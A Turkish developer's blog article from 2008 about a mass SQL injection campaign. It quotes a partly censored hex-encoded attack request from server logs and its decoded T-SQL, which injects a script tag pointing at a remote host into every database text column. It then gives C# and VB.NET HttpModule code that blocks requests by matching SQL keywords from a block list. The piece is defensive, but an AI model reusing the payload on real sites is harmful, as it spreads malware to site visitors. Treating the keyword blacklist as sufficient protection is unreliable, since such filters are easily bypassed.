Ana Sayfa Hakkımda Projelerim Deneyimler Makaleler EskiGünlük Günlük Yorum İletişim
 ASP.NET (7)
 ADO.NET (3)
 Visual Basic .NET (1)
 Visual C# .NET (3)
 SQL Server (0)
 XML Web Servisleri (7)
 Yazılım Güvenliği (1)
 Yazılım Mimarisi (1)
 Mobil Teknolojiler (7)
 Smart Client (0)
 VS Team System (1)
 Bilgisayar Grafiği (0)
 Eğitim (1)
 Diğer (2)
 Görsel Dersler (2)

 
Hoşgeldiniz
English
Tüm Faaliyetlerwww.tayfunakcay.com - RSS Feed
 
Site İstatistikleri
Toplam Ziyaret:761375
Aktif Kullanıcı:4

Makale Arama
 
 
 

 
SQL Injection Saldırılarına Karşı Alternatif Bir Çözüm
Geçen hafta (15.08.2008) hem klasik ASP hemde ASP.NET sitelerine karşı oldukça fazla ve organize biçimde SQL Injection saldırısı gerçekleştirildi. Bu makalemizde de, bu tarz saldırılara karşı nasıl korunabileceğimize br göz atıyor olacağız.
Tayfun AKCAY, 21.08.2008 00:20:00 (Bu makale 2003 kez okundu.)
 

SQL Injection Saldırılarına Karşı Alternatif Bir Çözüm

Geçen hafta yeni bir SQL Injection saldırısı başladı ve Cuma akşamından itibaren yüz binlerce site ve sunucu bu saldırılara maruz kaldı. Benim siteminde saldırılardan nasibini aldığı ve sunucu loglarına çok geç ulaşmamdan dolayı bir kaç gün sonra ancak müdahale edebildiğim saldırı hakkında biraz bilgi ve bu gibi saldırılardan nasıl korunabileceğimizi bu makale de göreceğiz.

Sitem çok eski olduğu için bir sayfamda ne parametrik sql, ne de parametrik stored procedure kullanmadığımı ve saldırıların da buradan geldiğini tespit ettim. Saldırı aşağıdaki hexa koduna benzer biçimde uygulanıyor ve web sunucunda rastgele olarak geçerli dosyaları sorguluyor.

sysobjects ve syscolumns tabloları döndürüldüğünde; saldırgan hedefini belirliyor ve makinanın bir MSSQL sunucusu çalıştırdığını belirliyor. Daha sonra da belirledikleri HTML kodunu veritabanına enjekte ediyorlar. Araştırmalarımda, sadece MSSQL değil aynı metot ile Sybase veritabanına da injection uygulayabildiklerini okudum.

Diğer editör ve yazar arkadaşlarımın konu hakkkında birçok makalesi olduğu için SQL Injection konusuna daha fazla değinmiyorum. Bu konu ile ilgili makaleleri yine bu kategorideki makalelerde bulabilirsiniz.

Öncelikle saldırının tespitine bakalım. Sitemin bulunduğu IIS üzerindeki raw loglarını incelediğimde, yukarıda bahsettiğimin eski usül kod ile yazılmış bir sayfamın yanında aşağıdaki gibi bir GET isteği gördüm. Buradaki bazı hexa kodlarını güvenlik gerekçesiyle siliyorum.

GET /XXXtayfunakcayXXX.aspx ';DeCLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C 41524525F4375727626C655 2736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));ExEC(@S);

Bu hexadecimal çıktısı aşağıdaki gibi bir SQL sorgusu üretiyor. Burayı da biraz sansürlüyorum.

DECLARE @@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name, b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype=or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(?update ['+@T+'] set ['+@C +']=['+@C+']+??>title>script src=?http://www.kotusite.com/sw.js?>cript>!?? NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Bu atak hala birçok siteyi etkileyebiliyor. Benim gibi unuttuğunuz kodlarınız varsa ya da bazı kodlarınızı paremetrik türevlerine çevirmek oldukça iş yükü getirecekse bu makalede anlattığımız çözümü deneyebilirsiniz. Diğer ip bloklama gibi geçici çözümlerden bahsetmeyeceğim. Bunun yanında en iyi çözümün yine parametrik sql ve stored procedure kullanmak olduğunu yine tekrarlayalım.

SQL Injection?a Karşı Kod Yazarak Çözüm

Aşağıdaki VB.NET ve C# kod örnekleri ile adres çubuğundan gelen bir querystring verisinden, bir form ya da cookie verisinden gelen potansiyel SQL Injection saldırılarını engelleyebilirsiniz. Yalnız aşağıdaki kodu ben kendi siteme göre yazdım. Kendi sitemde bilgi girişi olarak sadece numerik veriler aldığımdan dolayı bu kodda geçen filtreler bana uyuyor. Bunu da siz de kendi sitenize göre uyarlayabilirsiniz.

Gelen bütün querystring, form ve cookie değerlerini BeginRequest event i çalıştıran bir kod parçacığı ile karşılayabilirsiniz. Bu tip kodlar HttpModule içerisinde uygulandığında gelen her istekte çalıştırılabilirler. Aşağıdaki kod parçacıklarında HttpModule, App_Code klasöründe tanımlanıyor ve daha sonradan web.config içerisinde register ediliyor. Böylelikle de gelen her bir istekte çalıştırılıyor. Gelen veriyi otomatik olarak kontrol eden kod, filtreye düşen şüpheli bir değer yakaladığında hemen ?Hata.htm? dosyasına yönlendiriliyor.

Öncelikle kullandığınız dile göre App_Code klasörünüz altında bir class dosyası oluşturun. Daha sonrada aşağıdaki kodları kullandığınız dile göre dosyaya yapıştırın.

C# Örneğimiz

SQLInjectionFilter.cs

using System;
using System.Data;
using System.Configuration;
using System.Linq;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.HtmlControls;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Xml.Linq;

/// <summary>
/// Summary description for SQLInjectionFilter
/// </summary>
public class SQLInjectionFilter : IHttpModule
{
    //Burada kontrol edilecek degerleri belirliyoruz. 
    // Siz burayi kendi sitenize gore degistirebilirsiniz.
    
    public static string[] blackList = {"--",";--",";","/*","*/","@@","@",
                                         
"char","nchar","varchar","nvarchar",
"alter","begin","cast","create","cursor",
"declare","delete","drop","end","exec","execute",
"select", "sys","sysobjects","syscolumns",
"fetch","insert","kill","open",
"table","update"}; public void Dispose() { } //Burada BeginRequest esnasinda calistirilacak kodu yaziyoruz public void Init(HttpApplication app) { app.BeginRequest += new EventHandler(app_BeginRequest); } //Gelen her istege karşı, tüm querystring, //form ve cookie değerlerini kontrol ediyoruz void app_BeginRequest(object sender, EventArgs e) { HttpRequest Request = (sender as HttpApplication).Context.Request; foreach (string key in Request.QueryString) CheckInput(Request.QueryString[key]); foreach (string key in Request.Form) CheckInput(Request.Form[key]); foreach (string key in Request.Cookies) CheckInput(Request.Cookies[key].Value); } //Burada blackList e gore kontrol islemlerini gerceklestiriyoruz. //Hata kontrolunu dilediginiz gibi degistirebilirsiniz private void CheckInput(string parameter) { for (int i = 0; i < blackList.Length; i++) { if ((parameter.IndexOf(blackList[i], _ StringComparison.OrdinalIgnoreCase) >= 0)) { // //Evet. Burada supheli bir SQL kodu yakaladik. Veee // HttpContext.Current.Response.Redirect("~/Hata.htm"); //bye byeee } } } }

VB Örneğimiz

SQLInjectionFilter.vb

Imports Microsoft.VisualBasic

Public Class SQLInjectionFilter
    Implements IHttpModule

    'Burada kontrol edilecek degerleri belirliyoruz. 
    ' Siz burayi kendi sitenize gore degistirebilirsiniz.
    Public _
Shared blackList As String() = {"--", ";--", ";", "/*", "*/", "@@", _
"@", "char", "nchar", "varchar", "nvarchar", "alter", _
"begin", "cast", "create", "cursor", "declare", "delete", _
"drop", "end", "exec", "execute", "fetch", "insert", _
"kill", "open", "select", "sys", "sysobjects", "syscolumns", _
"table", "update"} Public Sub Dispose() Implements IHttpModule.Dispose End Sub 'Burada BeginRequest esnasinda calistirilacak kodu yaziyoruz Public Sub Init(ByVal app As HttpApplication) Implements IHttpModule.Init AddHandler app.BeginRequest, AddressOf app_BeginRequest End Sub 'Gelen her istege karşı, tüm querystring, 'form ve cookie değerlerini kontrol ediyoruz Private Sub app_BeginRequest(ByVal sender As Object, ByVal e As EventArgs) Dim Request As HttpRequest = _ TryCast(sender, HttpApplication).Context.Request For Each key As String In Request.QueryString CheckInput(Request.QueryString(key)) Next For Each key As String In Request.Form CheckInput(Request.Form(key)) Next For Each key As String In Request.Cookies CheckInput(Request.Cookies(key).Value) Next End Sub 'Burada blackList e gore kontrol islemlerini gerceklestiriyoruz. ' Hata kontrolunu dilediginiz gibi degistirebilirsiniz Private Sub CheckInput(ByVal parameter As String) For i As Integer = 0 To blackList.Length - 1
If (parameter.IndexOf(blackList(i), _ StringComparison.OrdinalIgnoreCase) >= 0) Then ' 'Evet. Burada supheli bir SQL kodu yakaladik. Veee ' HttpContext.Current.Response.Redirect("~/Hata.htm") 'bye byeee End If Next End Sub End Class

Web.Config

En son olarak web config dosyamızda syste.web etiketleri ve httpModules etiketleri arasına aşağıdaki kodu ekleyin.

        ...
        <system.web>
        ...
        <httpModules>
                  ...
            <add name="SQLInjectionFilter" type="SQLInjectionFilter"/>
                  ...
        </httpModules>
        ...
 </system.web>
        ...






Özet

Bu makalede, SQL Injection tehditlerinden kodsal olarak nasıl korunabileceğinizi inceledik ve VB.NET ve C# dillerini kullanarak şüpheli SQL ifadelerini süzgeçten geçiren bir modül hazırladık.

Kaynak:

SQL Injection Attacks on IIS Web Servers
Stop SQL Injection Attacks Before They Stop You
ASCII Encoded/Binary String Automated SQL Injection Attack

Bir sonraki makalelerde görüşmek üzere. İyi çalışmalar...


Tayfun AKCAY

tayfun@tayfunakcay.com


Telif Hakkı © 1996 - 2010 .::: www.tayfunakcay.com :::. Tüm Hakları Saklıdır.